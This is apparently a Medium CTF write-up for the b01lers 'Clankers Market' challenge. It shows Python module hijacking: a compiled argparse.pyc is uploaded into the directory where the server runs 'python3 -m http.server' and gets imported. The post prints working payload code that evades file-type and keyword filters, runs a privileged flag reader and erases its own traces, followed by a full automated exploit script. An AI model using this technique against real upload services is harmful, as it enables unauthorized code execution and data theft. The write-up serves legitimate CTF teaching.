๐ From Fake Flag to Full RCE โ Clankers Market Writeup
Clankers Market | b01lers CTF Solved by: S0n1c_404
๐ From Fake Flag to Full RCE โ Clankers Market Writeup
Clankers Market | b01lers CTF Solved by: S0n1c_404
โููููู ุฑููุจูู ุฒูุฏูููู ุนูููู ูุงโ โ [ุทู: 114]
๐ง First Look โ โFree flag? No wayโฆโ
I opened the challenge.
Clean UI. Simple idea.
Upload โ Run โ Result.
Nothing scary.
So naturallyโฆ
I uploaded a random file.
Clicked Run Clanker.
And thenโฆ
โฆ
๐ฅ A flag appeared.
๐ผ๏ธ Screenshot 1 โ Initial Interface


๐คจ Somethingโs Wrongโฆ
It felt too easy.
CTFs donโt just hand you flags like that.
So I submitted it.
โ Wrong.

๐งฉ โOkayโฆ now itโs interestingโ
Thatโs when I knew:
This is a trap challenge
So I switched modes:
๐งโ๐ป From user โ to attacker mindset
๐ Step 1 โ Intercept Everything
Opened Burp Suite.
Intercept ON.
Started playing with the request:
- File name manipulation
- Content-Type tampering
- Parameter injection
Nothing.
Dead.
๐งช Step 2 โ Attack the File Itself
If the request is cleanโฆ
Then maybe the payload is inside the file.
So I tried:
- Command injection
- Reverse shells
- JS payloads
- Anything executable
Still nothing.
๐ง Dead Endโฆ
At this pointโฆ
No injection. No errors. No weird responses.
Just silence.
๐ Step 3 โ Back to Code (The Smart Move)
When everything failsโฆ
๐ Go back to the source
And this is where things changed.
โ ๏ธ Weird Things I Noticed
๐ Upload Path
/tmp/git_storage/
๐งน Sanitization
- Blocks
.py,.sh - Deletes anything containing
git
๐งจ And then THIS:
python3 -m http.server 12345
๐ก BOOM โ The Realization
This lineโฆ
This exact lineโฆ
Was the vulnerability.
๐ง Why?
Because:
Python loads modules from the current directory FIRST
And guess what?
๐ The current directory = my uploaded files
๐ Now itโs not an uploadโฆ
Itโs code execution.
๐ฏ Target: argparse
I checked imports:
import argparse
Perfect.
๐งฌ The Idea
What ifโฆ
I upload:
argparse.pyc
Then Python will:
โ Import real module โ Import MY payload
๐ง Bypassing Filters
Problem 1:
.py blocked โ
โ Use .pyc โ
Problem 2:
git keyword blocked โ
โ Build it dynamically โ
๐ฃ Payload Logic
- Create
.git/description - Write fake key:
sk-ant- - Execute:
/usr/local/bin/read-flag
- Save flag inside file
- Delete itself
- Restore original module
Payload Code
import py_compile
import os
import sys
# 1. Generate the payload
payload = """import os, sys
# Construct git without the literal string to bypass grep deletion
folder_chars = ['g', 'i', 't']
path = "." + "".join(folder_chars) + "/description"
# Write our fake key and append the actual flag using the SUID binary
with open(path, "w") as f:
f.write("sk-ant-")
os.system(f"/usr/local/bin/read-flag >> {path}")
# Delete ourselves and restore the real argparse to prevent http.server from crashing
try:
os.remove("argparse.pyc")
except:
pass
if "argparse" in sys.modules:
del sys.modules["argparse"]
import argparse
sys.modules["argparse"] = argparse
"""
with open("payload.py", "w") as f:
f.write(payload)
# Compile to pyc
# We name it argparse.pyc because http.server imports argparse
py_compile.compile("payload.py", cfile="argparse.pyc")
os.remove("payload.py")
print("[+] Payload compiled as argparse.pyc")
๐ Execution (Manual Way)
Uploaded:
๐ argparse.pyc
Clicked:
๐ Run Clanker
Waitedโฆ
๐ผ๏ธ Screenshot 4 โ Upload + Run

๐ FLAG.
bctf{d1d_you_get_rce_from_checkout??I_tried_my_best_to_limit_but_clanker_too_good_now!!!}
Appeared inside:
๐ Leaked Anthropics API Key
๐ผ๏ธ Screenshot 5 โ Flag

โก But I Didnโt Stop Thereโฆ
Manual exploitation is good.
But real hackers donโt stop at manual.
๐ค Automation Mode ON
I built a Python script that:
- Registers automatically
- Logs in
- Uploads payload
- Extracts flag
๐ป Automation Code
import requests
import py_compile
import os
import sys
# 1. Generate the payload
payload = """import os, sys
# Construct git without the literal string to bypass grep deletion
folder_chars = ['g', 'i', 't']
path = "." + "".join(folder_chars) + "/description"
# Write our fake key and append the actual flag using the SUID binary
with open(path, "w") as f:
f.write("sk-ant-")
os.system(f"/usr/local/bin/read-flag >> {path}")
# Delete ourselves and restore the real argparse to prevent http.server from crashing
try:
os.remove("argparse.pyc")
except:
pass
if "argparse" in sys.modules:
del sys.modules["argparse"]
import argparse
sys.modules["argparse"] = argparse
"""
with open("payload.py", "w") as f:
f.write(payload)
# Compile to pyc
# We name it argparse.pyc because http.server imports argparse
py_compile.compile("payload.py", cfile="argparse.pyc")
os.remove("payload.py")
print("[+] Payload compiled as argparse.pyc")
def exploit(target_url):
session = requests.Session()
# 2. Register an account
username = os.urandom(4).hex()
password = "password"
print(f"[+] Registering with user: {username}:password")
resp = session.post(f"{target_url}/register", data={
"username": username,
"password": password
})
if "Username already exists" in resp.text:
# Just login
session.post(f"{target_url}/login", data={
"username": username,
"password": password
})
# 3. Upload our pyc file
print("[+] Uploading argparse.pyc payload")
with open("argparse.pyc", "rb") as f:
files = {
'file': ('argparse.pyc', f, 'application/octet-stream')
}
resp = session.post(f"{target_url}/clanker-feature", files=files)
if "bctf" in resp.text:
print("[+] SUCCESS! Retrieved the flag:")
# Try to parse the flag from the response
import re
flag_match = re.search(r'(bctf\{.*?\})', resp.text)
if flag_match:
print(flag_match.group(1))
else:
print(resp.text)
else:
print("[-] Exploit failed or flag not found in the response :(")
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python3 exploit.py <target_url>")
print("Example: python3 exploit.py http://challenge.blue.ctf:5000")
sys.exit(1)
target_url = sys.argv[1].rstrip("/")
exploit(target_url)
๐ง Why This Matters
This challenge wasnโt about:
- XSS
- SQLi
- Command injection
It was about:
Understanding how systems behave internally
โ ๏ธ The Real Vulnerability
โ Python Module Hijacking โ Unsafe execution context โ Weak sanitization
๐ฅ Mindset Takeaway
This is the most important part:
๐ง Think outside the box.
Not every challenge is:
- Inject payload โ get shell
Sometimes:
- You fail
- You retry
- You rethink
- You go deeper
๐ฌ Real Lesson
You tried:
- Requests โ
- Payloads โ
- Injection โ
And still failed.
Butโฆ
You didnโt stop.
๐ Thatโs the difference
Between:
๐งโ๐ป Someone who solves challenges and ๐ฅ Someone who understands systems
๐งฉ Final Thought
Thereโs always another way.
Manual. Automation. Logic abuse. System behavior.
You just need to expand your mindset enough to see it
๐จโ๐ป About Me
S0n1c_404 (Mostafa Mohamed) Cybersecurity | Web Exploitation | CTF Player
๐ https://www.linkedin.com/in/mostafa-mohamed-ahmed-870560252/
๋ฉํ๋ฐ์ดํฐ
- post_id
- 4e9532bcb551
- slug
- from-fake-flag-to-full-rce-clankers-market-writeup-4e9532bcb551
- url
- https://medium.com/@S0n1c_404/from-fake-flag-to-full-rce-clankers-market-writeup-4e9532bcb551
- canonical_url
- https://medium.com/@S0n1c_404/from-fake-flag-to-full-rce-clankers-market-writeup-4e9532bcb551
- author_url
- https://medium.com/@S0n1c_404
- status
- ok
- fetched_at
- 2026-07-10 14:51:46